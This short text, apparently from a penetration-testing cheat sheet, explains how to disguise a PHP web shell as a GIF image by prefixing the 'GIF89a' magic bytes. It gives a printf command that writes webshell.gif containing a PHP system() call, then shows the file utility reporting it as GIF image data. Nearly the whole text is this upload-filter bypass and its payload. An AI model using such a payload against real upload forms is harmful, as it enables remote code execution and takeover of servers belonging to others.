A Gif file is identified by its first bytes which have the value: GIF89a;
To generate a file that will be identified as having a valid gif header:
printf "GIF89a;<?php system('id'); ?>" > webshell.gif
This file will be recognized as a gif file
$ file webshell.gif
webshell.gif: GIF image data